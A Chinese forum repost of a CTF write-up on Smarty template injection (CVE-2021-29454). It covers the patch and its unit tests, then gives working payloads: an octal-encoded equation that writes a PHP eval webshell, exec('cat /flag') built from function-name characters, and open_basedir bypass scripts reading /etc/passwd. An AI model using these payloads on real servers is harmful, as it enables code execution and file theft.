安全矩阵

 找回密码
 立即注册
搜索
查看: 2987|回复: 0

CVE-2021-29454—Smarty模板注入分析复现

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-4-20 20:32:42 | 显示全部楼层 |阅读模式
CVE-2021-29454—Smarty模板注入分析复现         
转载自:CVE-2021-29454—Smarty模板注入分析复现

Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。用户应升级到版本 3.1.42 或 4.0.2 以接收补丁。
源码分析
对比官方修复的代码,在/plugins/function.math.php添加了如下一段
  1. // Remove whitespaces
  2.     $equation = preg_replace('/\s+/', '', $equation);

  3.     // Adapted from https://www.php.net/manual/en/function.eval.php#107377
  4.     $number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number
  5.     $functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))';
  6.     $operators = '[+\/*\^%-]'; // Allowed math operators
  7.     $regexp = '/^(('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'\s*\((?1)+\)|\((?1)+\)))(?:'.$operators.'(?2))?)+$/';

  8.     if (!preg_match($regexp, $equation)) {
  9.         trigger_error("math: illegal characters", E_USER_WARNING);
  10.         return;
  11.     }
复制代码

对恶意拼接的数学字符串进行过滤(漏洞利用POC格式其实也在这里写出来了,参考$regexp)
而在较低版本下,缺少过滤部分,进而导致RCE
具体的POC我会在下面利用部分详写的

​​
并且,在tests/UnitTests/TemplateSource/ValueTests/Math/MathTest.php中,也有添加
  1. /**
  2.      * @expectedException PHPUnit_Framework_Error_Warning
  3.      */
  4.     public function testBackticksIllegal()
  5. {
  6.         $expected = "22.00";
  7.         $tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="`ls` x * y" x=$x y=$y}');
  8.         $this->assertEquals($expected, $this->smarty->fetch($tpl));
  9.     }

  10.     /**
  11.      * @expectedException PHPUnit_Framework_Error_Warning
  12.      */
  13.     public function testDollarSignsIllegal()
  14. {
  15.         $expected = "22.00";
  16.         $tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="$" x=$x y=$y}');
  17.         $this->assertEquals($expected, $this->smarty->fetch($tpl));
  18.     }

  19.     /**
  20.      * @expectedException PHPUnit_Framework_Error_Warning
  21.      */
  22.     public function testBracketsIllegal()
  23. {
  24.         $expected = "I";
  25.         $tpl = $this->smarty->createTemplate('eval:{$x = "0"}{$y = "1"}{math equation="((y/x).(x))[x]" x=$x y=$y}');
  26.         $this->assertEquals($expected, $this->smarty->fetch($tpl));
  27.     }
复制代码

漏洞利用实例——红明谷 2022 | Smarty calculator考点
  •         Smarty3.1.39 模板注入(CVE-2021-29454)
  •         Bypass open_basedir
  •         Bypass disable_functions

过程详解

看到Smarty,联系题目描述就明白这是Smarty模板注入,但是出题人修改了模板规则(真滴苟啊)。
一般情况下输入{$smarty.version},就可以看到返回的Smarty当前版本号,此题版本是3.1.39。



扫一下网站,发现存在源码泄露,访问www.zip即可下载,打开分析。
index.php


  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8">
  5.     <title>Smarty calculator</title>
  6. </head>
  7. <body background="img/1.jpg">
  8. <div align="center">
  9.     <h1>Smarty calculator</h1>
  10. </div>
  11. <div style="width:100%;text-align:center">
  12.     <form action="" method="POST">
  13.         <input type="text" style="width:150px;height:30px" name="data" placeholder="      输入值进行计算" value="">
  14.         <br>
  15.         <input type="submit" value="Submit">
  16.     </form>
  17. </div>
  18. </body>
  19. </html>
  20. <?php
  21. error_reporting(0);
  22. include_once('./Smarty/Smarty.class.php');
  23. $smarty = new Smarty();
  24. $my_security_policy = new Smarty_Security($smarty);
  25. $my_security_policy->php_functions = null;
  26. $my_security_policy->php_handling = Smarty::PHP_REMOVE;
  27. $my_security_policy->php_modifiers = null;
  28. $my_security_policy->static_classes = null;
  29. $my_security_policy->allow_super_globals = false;
  30. $my_security_policy->allow_constants = false;
  31. $my_security_policy->allow_php_tag = false;
  32. $my_security_policy->streams = null;
  33. $my_security_policy->php_modifiers = null;
  34. $smarty->enableSecurity($my_security_policy);

  35. function waf($data){
  36.   $pattern = "php|\<|flag|\?";
  37.   $vpattern = explode("|", $pattern);
  38.   foreach ($vpattern as $value) {
  39.         if (preg_match("/$value/", $data)) {
  40.           echo("<div style='width:100%;text-align:center'><h5>Calculator don  not like U<h5><br>");
  41.           die();
  42.         }
  43.     }
  44.     return $data;
  45. }

  46. if(isset($_POST['data'])){
  47.   if(isset($_COOKIE['login'])) {
  48.       $data = waf($_POST['data']);
  49.       echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
  50.       $smarty->display("string:" . $data);
  51.   }else{
  52.       echo "<script>alert("你还没有登录")</script>";
  53.   }
  54. }
复制代码

在index.php中定义了waf函数,会检测$data中是否含有php < flag字样,这个还是蛮好绕的。
还会检测cookie中login是否存在且值不为零,只要在cookie上添加就好。
剩下的太多了。。。所以我筛选了一下,发现出题人应该只修改过3个文件。


用Beyond Compare对比一下官方模板,发现了出题人重点修改的地方就是正则匹配。


在CVE-2021-29454,有关Smarty的安全问题上,也有提到

  •         阻止$smarty.template_object在沙盒模式下访问
  •         修复了通过使用非法函数名的代码注入漏洞{function name='blah'}{/function}


  1. if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
  2.     $compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
  3. }
复制代码


那么接下来,请欣赏各种优雅的过正则姿势

姿势一

在正则处打下断点进行测试,


发现可以通过换行绕过正则


设置完cookie后,url编码一下,POST传参,poc执行成功


但是不能直接cat/flag,有disable_functions以及open_basedir,绕过open_basedir的方法可太多了,我之前写了一篇文章你的open_basedir安全吗?-先知社区 (aliyun.com)

syslink() php 4/5/7/8
symlink(string $target, string $link): bool

原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 aaa/../../../../etc/passwd,其实就是指向了 A/B/C/D/../../../../etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc 还是指向了 aaa 也就是 A/B/C/D/../../../../etc/passwd,就进入了路径/etc/passwd payload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。
  1. <?php
  2. highlight_file(__FILE__);
  3. mkdir("A");//创建目录
  4. chdir("A");//切换目录
  5. mkdir("B");
  6. chdir("B");
  7. mkdir("C");
  8. chdir("C");
  9. mkdir("D");
  10. chdir("D");
  11. chdir("..");
  12. chdir("..");
  13. chdir("..");
  14. chdir("..");
  15. symlink("A/B/C/D","aaa");
  16. symlink("aaa/../../../../etc/passwd","abc");
  17. unlink("aaa");
  18. mkdir("aaa");
  19. ?>
复制代码

ini_set()
ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:
  1. ini_set ( string $varname , string $newvalue ) : string
复制代码

POC
  1. <?php
  2. highlight_file(__FILE__);
  3. mkdir('Andy');  //创建目录
  4. chdir('Andy');  //切换目录
  5. ini_set('open_basedir','..');  //把open_basedir切换到上层目录
  6. chdir('..');  //切换到根目录
  7. chdir('..');
  8. chdir('..');
  9. ini_set('open_basedir','/');  //设置open_basedir为根目录
  10. echo file_get_contents('/etc/passwd');  //读取/etc/passwd
复制代码

姿势二

其实这个正则并不难,我们可以直接利用八进制数,然后借用Smarty的math equation,直接写入一句话shell,Antsword连接就好。


payload:
  1. eval:{$x="42"}{math equation="("\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163")("\\141\\56\\160\\150\\160","\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\122\\105\\121\\125\\105\\123\\124\\133\\47\\120\\141\\143\\153\\47\\135\\51\\73\\77\\76")"}
复制代码

然后蚁剑连接,在根目录下得到flag

姿势三

既然我们能利用函数名了,那么我们也可以用一些数学函数执行命令,我当时用就是这一种(其实是另外两种没想到,嘿嘿嘿)
  1. <?php
  2. highlight_file(__FILE__);
  3. //error_reporting(0);
  4. include_once('./Smarty/Smarty.class.php');
  5. $smarty = new Smarty();
  6. $my_security_policy = new Smarty_Security($smarty);
  7. $my_security_policy->php_functions = null;
  8. $my_security_policy->php_handling = Smarty::PHP_REMOVE;
  9. $my_security_policy->php_modifiers = null;
  10. $my_security_policy->static_classes = null;
  11. $my_security_policy->allow_super_globals = false;
  12. $my_security_policy->allow_constants = false;
  13. $my_security_policy->allow_php_tag = false;
  14. $my_security_policy->streams = null;
  15. $my_security_policy->php_modifiers = null;
  16. $smarty->enableSecurity($my_security_policy);
  17. //$smarty->display("string:" . '{math equation="p;(\'exp\'[0].\'exp\'[1].\'exp\'[0].\'cos\'[0])(\'cos\'[0].\'abs\'[0].\'tan\'[0].\'floor\'[0].\'floor\'[1].\'abs\'[0].\'log\'[2]);" p=1 }');
  18. $smarty->display("string:" . '{math equation="p;(\'exp\'[0].\'exp\'[1].\'exp\'[0].\'cos\'[0])(\'cos\'[0].\'abs\'[0].\'tan\'[0].\' ./\'.\'floor\'[0].\'floor\'[1].\'abs\'[0].\'log\'[2].\'>1\');" p="1" }');
  19. //exec('cat /flag')>1
  20. ?>
复制代码

将执行结果写入1文件,同样,因为有disable_functions以及open_basedir,所以执行会不成功吗,重复姿势一,就能绕过。








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 10:44 , Processed in 0.013562 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表